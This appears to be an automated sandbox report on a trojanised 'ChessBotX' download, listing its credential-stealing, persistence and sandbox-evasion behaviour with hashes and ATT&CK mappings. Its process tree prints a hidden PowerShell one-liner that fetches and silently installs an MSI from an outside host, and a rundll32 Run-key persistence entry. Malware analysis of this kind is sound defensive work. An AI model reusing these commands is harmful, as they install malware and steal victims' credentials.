Overview
overview
10Static
static
5ChessBotX(...e).rar
windows10-2004-x64
1ChessBotX(...e).rar
windows11-21h2-x64
1ChessBotX.exe
windows10-2004-x64
10ChessBotX.exe
windows11-21h2-x64
10Installati...ns.txt
windows10-2004-x64
1Installati...ns.txt
windows11-21h2-x64
3License.txt
windows10-2004-x64
1License.txt
windows11-21h2-x64
3Readme.txt
windows10-2004-x64
1Readme.txt
windows11-21h2-x64
3Terms_Of_Use.txt
windows10-2004-x64
1Terms_Of_Use.txt
windows11-21h2-x64
3active_des...64.dll
windows10-2004-x64
8active_des...64.dll
windows11-21h2-x64
8lang/Language.txt
windows10-2004-x64
1lang/Language.txt
windows11-21h2-x64
3lang/chinese.dat
windows10-2004-x64
3lang/chinese.dat
windows11-21h2-x64
3lang/english.dat
windows10-2004-x64
3lang/english.dat
windows11-21h2-x64
3lang/german.dat
windows10-2004-x64
3lang/german.dat
windows11-21h2-x64
3lang/russian.dat
windows10-2004-x64
3lang/russian.dat
windows11-21h2-x64
3lang/spanish.dat
windows10-2004-x64
3lang/spanish.dat
windows11-21h2-x64
3Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
16/04/2026, 04:38
Behavioral task
behavioral1
Sample
ChessBotX(Mid_April_Update).rar
Resource
win10v2004-20260130-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral2
Sample
ChessBotX(Mid_April_Update).rar
Resource
win11-20260130-en
windows11-21h2-x64
2 signatures
150 seconds
Behavioral task
behavioral3
Sample
ChessBotX.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
20 signatures
150 seconds
Behavioral task
behavioral4
Sample
ChessBotX.exe
Resource
win11-20260130-en
windows11-21h2-x64
19 signatures
150 seconds
Behavioral task
behavioral5
Sample
Installation_Instructions.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral6
Sample
Installation_Instructions.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral7
Sample
License.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral8
Sample
License.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral9
Sample
Readme.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral10
Sample
Readme.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral11
Sample
Terms_Of_Use.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral12
Sample
Terms_Of_Use.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral13
Sample
active_desktop_render_x64.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
10 signatures
150 seconds
Behavioral task
behavioral14
Sample
active_desktop_render_x64.dll
Resource
win11-20260130-en
windows11-21h2-x64
10 signatures
150 seconds
Behavioral task
behavioral15
Sample
lang/Language.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral16
Sample
lang/Language.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral17
Sample
lang/chinese.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral18
Sample
lang/chinese.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral19
Sample
lang/english.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral20
Sample
lang/english.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral21
Sample
lang/german.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral22
Sample
lang/german.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral23
Sample
lang/russian.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral24
Sample
lang/russian.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral25
Sample
lang/spanish.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral26
Sample
lang/spanish.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
General
- Target ChessBotX.exe
- Size 100KB
- Sample260416-e9ndeafv2r
- SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
- MD5 1ea7d59053d8bd45bea95355b3d8d499
- SHA1 de0c8fba8d7ac8f547c88b6e5f7f5cd422ec2903
- SHA512 6e978f16c2f7a8d5918f4ebc8f71fc4b796487aa1e3dbc02faeac35a2d4ec0cb0d35408297778fbbe0d77a4247b9f4e9a7733252fef4f575d17b33374c07bc40
- SSDEEP 1536:9LT11uyRFNsa9N/urOKwjAEHxPNgE71x48suYjsW4dTRR6f7HxE7Qxa:xTzuyRFNN9N/wwjtHxvWuYsTRUf+5
- TLSH T1B5A37C9767E078F9E8638B34ACE14915E736F96706B0CB8E1394415A4F233C19E78B36
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://tihunting.com/Setup.msi
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 21 4052 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4052 powershell.exe - Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe = "rundll32.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Adobe.dll\",start" ChessBotX.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation ChessBotX.exe -
resource yara_rule behavioral3/memory/4880-0-0x00007FFC1DD70000-0x00007FFC1E215000-memory.dmp upx behavioral3/files/0x00070000000243e3-9.dat upx behavioral3/memory/4880-12-0x00007FFC1DD70000-0x00007FFC1E215000-memory.dmp upx behavioral3/memory/1684-13-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp upx behavioral3/memory/1684-14-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp upx behavioral3/memory/1684-169-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp upx behavioral3/memory/1684-235-0x00007FFC1CE20000-0x00007FFC1D2C5000-memory.dmp upx - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Executes dropped EXE 1 IoCs
pid Process 1684 ChessBotX.exe - Loads dropped DLL 2 IoCs
pid Process 1684 ChessBotX.exe 5792 rundll32.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName ChessBotX.exe - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ChessBotX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ChessBotX.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ChessBotX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ChessBotX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier ChessBotX.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5792 rundll32.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 4880 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe - Suspicious use of AdjustPrivilegeToken 33 IoCs
description pid Process Token: SeDebugPrivilege 4052 powershell.exe Token: SeShutdownPrivilege 5472 msiexec.exe Token: SeIncreaseQuotaPrivilege 5472 msiexec.exe Token: SeSecurityPrivilege 2032 msiexec.exe Token: SeCreateTokenPrivilege 5472 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5472 msiexec.exe Token: SeLockMemoryPrivilege 5472 msiexec.exe Token: SeIncreaseQuotaPrivilege 5472 msiexec.exe Token: SeMachineAccountPrivilege 5472 msiexec.exe Token: SeTcbPrivilege 5472 msiexec.exe Token: SeSecurityPrivilege 5472 msiexec.exe Token: SeTakeOwnershipPrivilege 5472 msiexec.exe Token: SeLoadDriverPrivilege 5472 msiexec.exe Token: SeSystemProfilePrivilege 5472 msiexec.exe Token: SeSystemtimePrivilege 5472 msiexec.exe Token: SeProfSingleProcessPrivilege 5472 msiexec.exe Token: SeIncBasePriorityPrivilege 5472 msiexec.exe Token: SeCreatePagefilePrivilege 5472 msiexec.exe Token: SeCreatePermanentPrivilege 5472 msiexec.exe Token: SeBackupPrivilege 5472 msiexec.exe Token: SeRestorePrivilege 5472 msiexec.exe Token: SeShutdownPrivilege 5472 msiexec.exe Token: SeDebugPrivilege 5472 msiexec.exe Token: SeAuditPrivilege 5472 msiexec.exe Token: SeSystemEnvironmentPrivilege 5472 msiexec.exe Token: SeChangeNotifyPrivilege 5472 msiexec.exe Token: SeRemoteShutdownPrivilege 5472 msiexec.exe Token: SeUndockPrivilege 5472 msiexec.exe Token: SeSyncAgentPrivilege 5472 msiexec.exe Token: SeEnableDelegationPrivilege 5472 msiexec.exe Token: SeManageVolumePrivilege 5472 msiexec.exe Token: SeImpersonatePrivilege 5472 msiexec.exe Token: SeCreateGlobalPrivilege 5472 msiexec.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe 1684 ChessBotX.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4880 wrote to memory of 1684 4880 ChessBotX.exe 88 PID 1684 wrote to memory of 4536 1684 ChessBotX.exe 92 PID 1684 wrote to memory of 4536 1684 ChessBotX.exe 92 PID 1684 wrote to memory of 5792 1684 ChessBotX.exe 93 PID 1684 wrote to memory of 1272 1684 ChessBotX.exe 97 PID 1684 wrote to memory of 1272 1684 ChessBotX.exe 97 PID 1684 wrote to memory of 4052 1684 ChessBotX.exe 100 PID 4052 wrote to memory of 5472 4052 powershell.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe"C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe"1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\ProgramData\LavenderOrchid\ChessBotX.exe"C:\ProgramData\LavenderOrchid\ChessBotX.exe"2⤵
- Adds Run key to start application
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:4536
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll",start3⤵
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
PID:5792
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵PID:1272
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$f = \"$env:TEMP\Setup.msi\"; (New-Object System.Net.WebClient).Headers.Add('User-Agent', 'Mozilla/5.0'); (New-Object System.Net.WebClient).DownloadFile('https://tihunting.com/Setup.msi', $f); Start-Process msiexec.exe -Wait -ArgumentList \"/i `\"$f`\" /quiet /norestart\""3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup.msi" /quiet /norestart4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5472
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5704
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4320
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵PID:5632
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵PID:5048
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2032
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\LavenderOrchid\ChessBotX.exe
- Size 100KB
- SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
- MD5 1ea7d59053d8bd45bea95355b3d8d499
- SHA1 de0c8fba8d7ac8f547c88b6e5f7f5cd422ec2903
- SHA512 6e978f16c2f7a8d5918f4ebc8f71fc4b796487aa1e3dbc02faeac35a2d4ec0cb0d35408297778fbbe0d77a4247b9f4e9a7733252fef4f575d17b33374c07bc40
- SSDEEP 1536:9LT11uyRFNsa9N/urOKwjAEHxPNgE71x48suYjsW4dTRR6f7HxE7Qxa:xTzuyRFNN9N/wwjtHxvWuYsTRUf+5
- TLSH T1B5A37C9767E078F9E8638B34ACE14915E736F96706B0CB8E1394415A4F233C19E78B36
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\LavenderOrchid\active_desktop_render_x64.dll
- Size 7.9MB
- SHA256 cc6920f5e93bf9faeb2ef179d8bd7bd074149211f5f038167bea1e5303a7a9e5
- MD5 dc4620ced97044d5c7d1098bf1ddc9e1
- SHA1 8e2edb1e1b2e4945c827638a42a8b6be12f0fb63
- SHA512 ea578d743a07ea37a5b79dcde15d9736b6726f487add52100bbd01d399e76ccfe4d7e4d0eda7803ee2bf3ffd836b9810cff81e8d1509c5ceeea70c02ec9cce71
- SSDEEP 98304:mV+froMl4BJrRpELtOzYIsGA37WpYw13TDIanf/tg:m8Vl4zHFsBCyaf/t
- TLSH T1C08633269BDDA4D3D3C7597841348A01B38A7053163FAD32B44C69624AFE18B36EDF27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 4KB
- SHA256 6dac699caeb06fd0d78e454013e0e833ff9f6cf83c92133461d0b0a291f65d3a
- MD5 135ecce677e2ff5ef3ac0650121d262d
- SHA1 df00738151fd87162e8b3a1d8bf52932430cefc2
- SHA512 57a02179f02ed86a10b057dc3d3eb361eaff608c481268ba8378e4a74a728461acfe89895c03caf73d8c58b69f5bedc3dbed0825cfc71d101e243366ef8dd910
- SSDEEP 96:i/PdB5/q/6G/eG/t/YImimgdmpGmqmWcHfLNdIfelfv+XUQ8kdjddBShe0Cf35sX:ov5TA2dZ5J
- TLSH T14691DE0699D9CA0F6640E8E39372E26C99F088443F9937229B69C88C79D6C0DF5C67D7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 255B
- SHA256 4134aa0ccfe2ad2fbb9c80d2eb5b1e172da3ef13b66b12ffd3fc2d35a1c9da72
- MD5 f195a9d65e069af5c11691500af1ee3b
- SHA1 750df66798a73f862d018eb5794e0886d47150d3
- SHA512 86fb5c4c9e761404a3b04fbddf4f17c7011b021f0520effe6c4b6d20401f1a11784e5cb85ed60262a1028e9207158287d08a165913f5e4d3d50b0fc3c2b02759
- TLSH T1CED09712EC82C48C2562E8B7C300269CDCFB4118AB590303BB85804D14C0F0C9CCB3E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1018B
- SHA256 1cd1da8bfa691df77e3ec2008cf869a51c856326a5b77f7f2f2142c36a2e3345
- MD5 bf3efce6bd51b6bd8602a0844bcdd8b5
- SHA1 2a9239d45d424106ce271027c33e9626442f578e
- SHA512 b283039388f2dc8caeae6d4538d10d8b55b60a2b31963617d49fcc6e8d7da02fe7e5395c5a021972bd3a30cc608c3fe90246a7202dde8d4e0582ff8e778011a1
- TLSH T186117B02BCC5D82E1140ECE39361B76C9CE484049BCE2B439B84E94C75C582EF5CE367
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1KB
- SHA256 7f9130d2a51b0e792cb036e113b50f59bed1016bc5721b73f320141da287a56b
- MD5 41a0a5dd7edcdda9be8181c8780c2a88
- SHA1 352181ce1ecc4fc38cdf76ac08652ee62f15aaba
- SHA512 c31eb4e52ecf02a4102c8603a3d667059ad9e2bb7f91b813e406543e9631e80f4fd06881efc0e21bdfec44b8542fcc04f104190df1f4dd498adfa100b70cdbb8
- TLSH T1F721AB02F8C6D81E1100E8E39361B66C9CE98408ABCE2B439B44D84C74C591EB5CF357
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1KB
- SHA256 ea8631a395810d4747a1ec2ae2d4f8ff706f5e54bf67fe9bdda3d8d1ad7bb3e4
- MD5 70d1483ad9349e391da44737fc1ddf24
- SHA1 0ee042ebb15a1dbfcc979a7014bdc4224f7a208b
- SHA512 e312a4eb183559595a8a07eda0b167d079eb42af487dc66884b84f8c5305b08580bb00a388786cfd5dba3d88987c97e525c67f63fb2cc8e49c0349aecb9d47a5
- TLSH T18B318C02F8C6D82E6100FCD79354BA6C98E58449ABCE3B425B84DD4CB58295EF6CF357
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1KB
- SHA256 3dee3ca5ff955e76264a9e2c7e530ad78578c5ded6cce742ce303ad965d8630a
- MD5 0dc1df1d4a28e609274ee141161d9471
- SHA1 4e62e650d7eb422e6198b06ccfd433355e88ec84
- SHA512 6c44755a2da1bde173662d22cf743e46cf55ddf4d3c1bdba98de146b7456797a51131a1b4ad70ee0f75f8a2083ae0ee3a862dcba429d7079284d77213acd2282
- TLSH T1C7419B02F8C6D81E1100B8D79355B62C98F454599BCE3B025B84D84CB98695AF6CF3A7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4kko4ix.kco.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\pwd_1708.db
- Size 56KB
- SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
- MD5 f92de240ae86100670164298edba43f2
- SHA1 5d9ede7e7743e75344ee7f996456693f82896e5d
- SHA512 2e6b9cbd04baf609d91a0583d742b19c5dc6dd7b334349fac1a71563c140075408fe881388e1fff72f5c1c0124d0603d54d35f5039c544ee9c1350b4e1684c21
- SSDEEP 96:/kS/KLPeymOoizhGNOnfmG38tmvJHbn8MouB6w9fUPnP:B4oizhGNOnDV77Iw9fK
- TLSH T15E43651F1B682802C8698632BCB194F36F7CA13E8F639E922CB044359D75852B12D5FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\pwd_2100.db
- Size 40KB
- SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
- MD5 ba979c77c714b67908bc582ec373c723
- SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
- SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
- SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
- TLSH T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll
- Size 1.3MB
- SHA256 66ad3c60614f2f3fbcae600644a9bcec87bb93b611baf251dd619acb7f2332d3
- MD5 48b2bd91ec3c4317c7cd8d9ff62fe251
- SHA1 57b2546cfc5c19ef52f5feb7befd57184ea59c2e
- SHA512 f039ac32986751eeccc1350dff1680b17806a68a5dc516c276c8fda0ce92f68249ae2f6f20dd186eaea172eb58d894071e818ae34b0c650ed40d385b9718a030
